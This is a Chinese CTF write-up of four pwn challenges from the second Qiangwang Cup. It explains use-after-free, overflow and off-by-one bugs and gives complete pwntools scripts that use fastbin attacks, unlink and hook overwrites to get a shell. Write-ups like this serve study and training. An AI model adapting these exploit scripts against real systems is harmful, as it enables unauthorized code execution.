第二届强网杯pwn writeup[部分]

0x00 前言

看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么时候才能在比赛中做出来几道pwn题呢

0x01 Silent

  • 漏洞位置
    del函数free掉堆块后没有清空指针造成了dangling_ptr。并且edit函数在使用时没有检查堆块是否已经free
  • 利用思路
    利用UAF构造fastbin attack。申请堆块,释放堆块进入fastbinedit释放的堆块,修改其中的fdgot表上去,再申请回来,修改got表。

Fastbin Attack
malloc回来的时候会检查size位,看这个堆块是不是属于该Fastbin中,不过只检查低4字节,如果size位为61,那么检查时61-6f都能通过。

  • my-exp
from pwn import *
local = 1
if local:
    p = process('./silent')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length , text):
    p.sendline('1')
    sleep(0.3)
    p.sendline(str(length))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)

def dele(num):
    p.sendline('2')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)

def edit(num , text):
    p.sendline('3')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)
    p.sendline('')

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./silent')
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
fake_chunk = 0x601ffa
system_plt = 0x400730
success('fake_chunk => ' + hex(fake_chunk))
success('system_plt => ' + hex(system_plt))
add(0x50 , 'a' * 0x4f)#chunk 0  rabbish
add(0x50 , 'b' * 0x4f)#chunk 1  rabbish
add(0x50 , 'c' * 0x4f)
#debug()
dele(0)#fastbin->chunk0
dele(1)#fastbin->chunk1->chunk0
debug()
dele(0)#fastbin->chunk0->chunk1->chunk0
add(0x50 , p64(fake_chunk))#fastbin->chunk1->chunk0->0x601ffa   fd
add(0x50 , '/bin/sh\x00')#fastbin->chunk0->0x601ffa rabbish
add(0x50 , 'c' * 0x4f)#fastbin->0x601ffa    command(chunk1)
add(0x50 , 'A' * 0xe + p64(system_plt))#free=>system
dele(1)#free(chunk1)=>system('/bin/sh\x00')
#debug()
p.interactive()

0x02 Silent2

  • 漏洞位置
    几乎和Silent一样的,一个dangling_ptr,一个UAF,不过在申请堆块的时候做了限制,,需要大于0x7f,即不能在fastbin的范围内。
  • 利用思路
    UAFdangling_ptr自然是构造unlink

sleep的重要性
经过这到题,我领悟到了sleep的重要性,尤其是这种没有信息交互的地方更是致命,明明各种条件都构造好了,都满足了,却迟迟不能稳定起shell,最后sleep之后就顺利稳定起shell了。

  • my-exp
from pwn import *
local = 1
if local:
    p = process('./silent2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('39.107.32.132' , 10001)#nc 39.107.32.132 10001
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length , text):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(length))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)

def dele(num):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)

def edit(num , text):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)
    p.sendline('')
    sleep(0.1)

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./silent2')
chunk0_addr = 0x6020d8
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
add(0x80 , '1' * 0x7f)
add(0x80 , '/bin/sh\x00')
add(0x80 , '3' * 0x7f)
add(0x80 , 'a' * 0x7f)
add(0x80 , 'b' * 0x7f)
add(0x100 , 'c' * 0xff)
add(0x80 , 'd' * 0x7f)
dele(4)
dele(5)
payload = p64(0) + p64(0x110) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10)
add(0x190 , 'e' * 0x80 + p64(0x110) + p64(0x90) + 'e' * 0x80 + p64(0x90) + p64(0x81))
edit(3 , payload)
dele(5)
#----finish unlink----
free_got = elf.got['free']
success('free_got => ' + hex(free_got))
system_plt = elf.plt['system']
success('system_plt => ' + hex(system_plt))
edit(3 , p64(free_got))
edit(0 , p64(system_plt))
dele(1)
#debug()
p.interactive()

0x03 opm

分析题目可得出数据结构如下:

struct stru{
    int (func*)();
    char *name_ptr;
    int length;
    int punches;
}
  • 漏洞位置
    add函数中存在两个gets()函数,存在缓冲区溢出。
    Add
  • 利用思路
    观察栈分布,gets()超过0x80长度后会覆盖掉栈上的结构体变量,并且add函数中有2次覆盖的机会,第1次覆盖将会影响到length的存放,第2次覆盖将会影响到punches的存放,以及kill函数的参数。
    kill函数中,可以将传进参数a1 + 8作为地址中的内容打印出来,以及将a1 + 0x18位置的内容以16进制的形式打印出来。在我们通过溢出控制传入参数后可以做leak
    kill

    checksec中可以看到是保护机制全开的,所以我们需要leak出程序段基址和libc基址。结合kill函数和结构体的数据结构可以初步确定leak方式为覆盖如kill的参数,使参数+ 8放的是函数的got,使参数+ 0x18放的是程序段的地址,两次leak不需要同时进行。
    checksec

    难点就在于如何leak,由于gets()会在输入后面加上\x00,所以我们并不能随心所欲地将地址覆盖成我们想要的地址,而只能覆盖成以00结尾的地址,这就需要我们事先将got表布置在以08结尾的地址或将程序段地址布置在以18结尾的地址。若我们事先知道程序段的基址的话,可以通过在输入name_ptr时轻松地将got表布置在08的地址。现在需要解决的问题就是如何得到程序段基址,即如何将程序段地址布置在18的地址,由于给punches赋值是在第二次覆盖掉结构体后,所以不能用+ 0x18来进行leak,推翻上一段的利用思路。所以我们只能够通过构造指向程序段的指针来利用第一个%s进行leak
    leak出两个地址过后,由于show函数会将add函数返回的结构体的第一个8字节作为函数的入口地址执行该函数,而且add的返回值为我们第二次覆盖后的结构体,可控,所以我们可以尝试将该地址指向一个one_gadget就能起shell了。
    Show

leak程序段基址
根据WriteUp分析了半天才看出来是怎么构造的,还是太菜了,这也是为什么这个利用思路写的这么拖沓的原因。。。我们先多add几次,将地址抬高到_d00的位置,再次add时,第一次覆盖结构体时输入0x81位,将结构体覆盖为00xx,使后面的name_ptr、length、punches都写到00xx后的地址上去,此时00xx + 8name_ptr指针,指向name字符串,但这个name_ptr的值为d_,若我们能将后面一个字节覆盖成00就可以在第二次覆盖结构体时将结构体再次改为00xx去,利用kill打印出我们事先在_d00布置好的程序段地址。此时就利用字节不对齐的方式进行最低位改为00的操作,在将_d00布置好后的下一次add中的第一次覆盖我们将结构体覆盖为00xx此次add不触发第二次覆盖。然后再在下一次的add中的第一次覆盖时,我们将结构体覆盖为00xx - 15,覆盖后会在对length进行赋值,即00xx - 15 + 16进行赋值时,将刚刚的d_最低位(地址为00xx + 9)覆盖成00然后在第二次覆盖时,将结构体又覆盖会00xx,调用kill函数即可实现leak

第一次add结束

第二次add结束

  • my-exp
from pwn import *

local = 1

if local:
    p = process('./opm')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up'

def add(name , punches):
    p.recvuntil('(E)xit\n')
    p.sendline('A')
    p.recvuntil('name:\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('punch?\n')
    p.sendline(str(punches))
    sleep(0.1)

def show():
    p.recvuntil('(E)xit\n')
    p.sendline('S')

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./opm')
#one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147

#step 1 leak elf_base
add('a' * 0x30 , 0x10)
add('b' * 0x30 , 0x20)
add('c' , 0x30)
add('d' * 0x80 + '\x63' , 0x40)
debug()
add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
#use 0054 + 0x10 (v6 -> length) to make a d00  ,  change 0054 to 0063 to point d00
elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
success('elf_base => ' + hex(elf.address))

#step 2 use f00 to leak libc_base
atoi_got = elf.got['atoi']
success('atoi_got => ' + hex(atoi_got))
add('f' * 8 + p64(atoi_got) , 0x50)
add('g'  , 'g' * 0x80)
libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
success('libc_base => ' + hex(libc.address))

#step 3 use 000 and show() to trigger one_gadget
one_gadget = libc.address + 0x4526a
add('h' * 0x60 + p64(one_gadget), '')
add('i' * 0x80 , '')
show()

#debug()
p.interactive()


0x04 note

  • 漏洞位置
    该程序为socket程序,绑定为1234端口,需要系统有note的用户权限。程序在change_title的功能中存在off_by_one漏洞。

    off_by_one

    不过由于前面check_asc()中的限制,导致只能用0x0a、0x21、0x22、0x23、0x26、0x27、0x3F、0x40这几个规定内的字节进行溢出。
    check_asc

  • 利用思路
    题目限制只能realloc3次,利用0x40进行off_by_one并布置unlink环境,在此之前应该首先利用change_content功能构造好满足0x40大小的下一个chunk head。由于0x40大小的堆块在fastbin的范围内,无法直接free触发unlink,于是第二次realloc将该chunk放入fastbin中,在第三次realloc时触发malloc_consolidate进行unlinkunlink后,使.bss上的title指向comment指针,再配合change_comment功能,实现任意地址写,最终采用写realloc_hooksystem的方法get shell。(不知道是否本地环境的问题,一开始就能直接leak libc)

realloc
函数原型为realloc(ptr, size),其中ptr为指向堆的指针,size为需要realloc的大小,根据size的大小有以下几种情况:

  • size = 0时,相当于free(ptr)
  • size < ptr原大小时,会将原chunk分割为两部分,free掉后面的chunk
  • size = ptr原大小时,没什么卵用,不会进行任何操作。注:该等于为将size对齐后相等。
  • size > ptr原大小时,若ptr下方为top chunk或者下方存在fastbin之外的free chunk并且size(free chunk) + size(ptr原大小) ≥ size,则将该堆块大小扩展至size,若不满足上述条件,则相当于free(ptr)然后malloc(size)

malloc_consolidate
该函数会将fastbin中的所有chunk整合到unsort bin中,并且在从fastbin中摘下chunk时会检查相邻的堆块是否为free状态,若为free状态则将触发堆融合。本题采用malloc大于top chunksize触发malloc_consolidate

  • my-exp.py
from pwn import *
local = 1

if local:
    p = remote('0' , 1234)
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up'

def change_title(title):
    p.recvuntil('--->>\n')
    p.sendline('1')
    p.recvuntil('title:')
    p.send(title)                   #off_by_one

def change_content(size , content):
    p.recvuntil('--->>')
    p.sendline('2')
    p.recvuntil('256):')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def change_comment(comment):
    p.recvuntil('--->>')
    p.sendline('3')
    p.recvuntil('comment:')
    p.sendline(comment)

def show():
    p.recvuntil('--->>')
    p.sendline('4')
    p.recvuntil('is:')
    return p.recvuntil('\n')[:-1]

#step1 leak libc_base
libc.address = u64(show().ljust(8 , '\x00')) - 0x3c4b78
success('libc_base => ' + hex(libc.address))

system_addr = libc.symbols['system']
info('system_addr => ' + hex(system_addr))
realloc_hook = libc.symbols['__realloc_hook']
info('realloc_hook => ' + hex(realloc_hook))
binsh_addr = libc.search('/bin/sh\x00').next()
info('binsh_addr => ' + hex(binsh_addr))

#step2 make unlink
content = 0x602070
payload = p64(0x30) + p64(0x20) + p64(content - 0x18) + p64(content - 0x10) + p64(0x20) + '\x40'
change_content(0x78 , 0x38 * 'A' + p64(0x41))
change_title(payload)

#step3 free content to fastbin
change_content(0x100 , '')

#step4 trigger malloc_consolidate to unlink
change_content(0x20000 , '')

#step5 realloc_hook -> system
change_title(p64(realloc_hook) + '\n')
change_comment(p64(system_addr))

#step6 reset chance & content -> /bin/sh
change_title(p64(0x602050) + p64(binsh_addr) + '\n')
change_comment(p64(0))

#step7 realloc(content , size) => realloc_hook(binsh_addr) => system('/bin/sh\x00')
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline('')          #size doesn't matter

#Get Shell & Have Fun
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,511评论 1 330
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,495评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,595评论 0 225
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,558评论 0 190
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,715评论 3 270
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,672评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,112评论 2 291
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,837评论 0 181
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,417评论 0 228
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,928评论 2 232
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,316评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,773评论 2 234
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,253评论 3 220
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,827评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,440评论 0 180
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,523评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,583评论 2 249

推荐阅读更多精彩内容